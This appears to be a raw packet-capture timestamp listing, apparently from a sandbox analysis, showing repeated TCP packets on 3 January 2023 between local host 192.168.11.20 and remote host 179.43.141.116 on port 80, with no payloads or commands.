                                                                              Jan 3, 2023 08:16:06.512172937 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.512192965 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.512218952 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.512265921 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.512281895 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.512340069 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.512377024 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.512401104 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.512449026 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.512456894 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.512495995 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.512504101 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.512543917 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.512562037 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.512589931 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.512639046 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.512651920 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.512685061 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.512731075 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.512733936 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.512778044 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.512824059 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.512825012 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.512825012 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.512870073 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.512916088 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.512962103 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.512964010 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.513008118 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.513021946 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.513055086 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.513078928 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.513104916 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.513150930 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.513169050 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.513170004 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.513199091 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.513246059 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.513267994 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.513293028 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.513339996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.513356924 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.513386011 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.513432980 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.513447046 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.513478994 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.513494968 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.513525009 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.513545036 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.513571978 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.513618946 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.513621092 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.513664961 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.513711929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.513758898 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.513761997 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.513807058 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.513853073 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.513875008 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.513900042 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.513922930 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.513947010 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.513993025 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.514013052 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.514039993 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.514086008 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.514095068 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.514132977 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.514178991 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.514184952 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.514184952 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.514225006 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.514271975 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.514281988 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.514317989 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.514334917 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.514364004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.514410973 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.514452934 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.514456987 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.514503956 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.514532089 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.514532089 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.514549971 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.514595985 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.514624119 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.514642000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.514688969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.514734983 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.514779091 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.514780998 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.514827967 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.514852047 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.514853001 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.514873981 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.514919996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.514945984 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.514966965 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.515014887 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.515062094 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.515103102 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.515109062 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.515155077 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.515175104 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.515201092 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.515223026 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.515248060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.515291929 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.515295029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.515341997 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.515388966 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.515434980 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.515435934 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.515481949 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.515501976 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.515501976 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.515527964 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.515574932 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.515597105 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.515621901 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.515667915 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.515687943 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.515713930 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.515760899 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.515778065 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.515808105 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.515825987 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.515855074 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.515877008 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.515902042 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.515948057 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.515965939 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.515994072 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.516040087 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.516087055 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.516103029 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.516139984 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.516194105 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.516194105 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.516212940 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.516288042 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.516288996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.516364098 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.516402006 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.516453981 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.516489983 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.516541958 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.516580105 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.516663074 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.516684055 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.516748905 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.516786098 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.516834021 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.516866922 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.516890049 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.516915083 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.516937017 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.516983032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.516983986 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.517029047 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.517076015 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.517121077 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.517122984 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.517169952 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.517216921 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.517235994 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.517262936 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.517308950 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.517324924 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.517354012 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.517400980 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.517446995 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.517450094 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.517493010 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.517513990 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.517539024 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.517563105 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.517586946 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.517635107 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.517642021 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.517680883 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.517741919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.517786980 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.517786980 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.517822981 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.517884016 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.517884016 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.517901897 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.517951965 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.517998934 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.518044949 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.518090963 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.518095970 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.518136978 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.518173933 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.518183947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.518220901 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.518230915 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.518277884 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.518289089 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.518325090 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.518337011 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.518371105 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.518416882 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.518461943 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.518464088 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.518461943 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.518511057 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.518557072 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.518604040 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.518614054 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.518614054 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.518650055 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.518682003 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.518682957 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.518696070 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.518731117 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.518742085 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.518790007 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.518830061 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.518837929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.518877029 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.518886089 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.518934965 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.518945932 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.518981934 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.518994093 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.519030094 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.519042969 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.519076109 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.519121885 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.519125938 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.519188881 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.519198895 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.519254923 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.519289017 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.519301891 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.519347906 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.519393921 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.519438982 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.519467115 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.519467115 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.519485950 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.519532919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.519578934 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.519579887 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.519624949 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.519639015 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.519670963 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.519686937 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.519717932 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.519762993 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.519764900 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.519810915 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.519856930 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.519901991 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.519908905 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.519948006 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.519970894 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.519970894 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.519994974 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.520044088 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.520086050 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.520092964 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.520138979 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.520184994 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.520204067 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.520205021 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.520231009 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.520251989 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.520277023 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.520299911 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.520361900 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.520368099 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.520416021 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.520447969 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.520462990 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.520509005 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.520555973 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.520558119 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.520601988 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.520658970 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.520674944 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.520710945 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.520749092 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.520781994 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.520797968 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.520845890 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.520891905 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.520895958 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.520939112 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.520951033 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.520951033 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.520987034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.520998001 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.521034002 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521047115 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.521080017 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521126032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521142960 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.521172047 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521219015 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521219015 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.521265984 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521310091 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.521313906 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521358013 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.521361113 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521408081 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521428108 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.521428108 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.521470070 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521502972 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521533966 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521565914 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521585941 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.521596909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521648884 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521650076 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.521650076 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.521697998 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521697998 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.521730900 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521763086 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521794081 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521795988 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.521826029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521857023 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521888018 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521900892 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.521919012 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521950960 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.521981955 CET8049869179.43.141.116192.168.11.20
